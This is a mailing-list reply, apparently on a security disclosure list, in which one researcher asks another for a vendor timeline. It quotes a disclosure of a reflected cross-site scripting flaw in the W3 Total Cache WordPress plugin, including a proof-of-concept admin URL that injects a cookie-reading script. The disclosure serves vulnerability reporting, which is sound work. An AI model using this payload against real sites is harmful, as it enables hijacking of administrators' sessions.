Re: XSS Wordpress W3 Total Cache <= 0.9.4.1

[Simon Rawet <sr () outpost24 com>]

Hi Fernando,

Do you have a timeline for this issue?

Additionally do you have any contact details for the w3tc team you could
share? All my attempts to contact them have fallen short.


On 21/09/16 13:56, Fernando A. Lagos Berardi wrote:
> [+] Description: Cross-Site Scripting vulnerability was found on Wordpress
> W3 Total Cache (w3tc) plugin.
> [+] Plugin Version tested: <= 0.9.4.1 (latest)
> [+] Wordpress version tested: 4.0.0 - 4.6.1 (latest)
>
> ------------------------------
>
> [+] Component: W3 Total Cache Admin (performance menu) -> Support -> Add
> new ticket
> [+] Variable: request_id
> [+] Method: GET
>
> -------------------------------
>
> [+] Affected URL:
> https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=XSS_PAYLOAD_HERE
>
> ---------------------------------
>
> [+] POC:
> https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=11111666
> "><DEFANGED_script>alert(document.cookie)<%2Fscript>
>
>
> [+] More info:
> https://blog.zerial.org/seguridad/vulnerabilidad-cross-site-scripting-en-wordpress-w3-total-cache/

-- 
Best Regards,
-----------------------------------------------------
Simon Rawet
Web Application Analyst, Outpost24 AB
Skeppsbrokajen 8 | 371 33 Karlskrona | Sweden
T: +46 708 474 323
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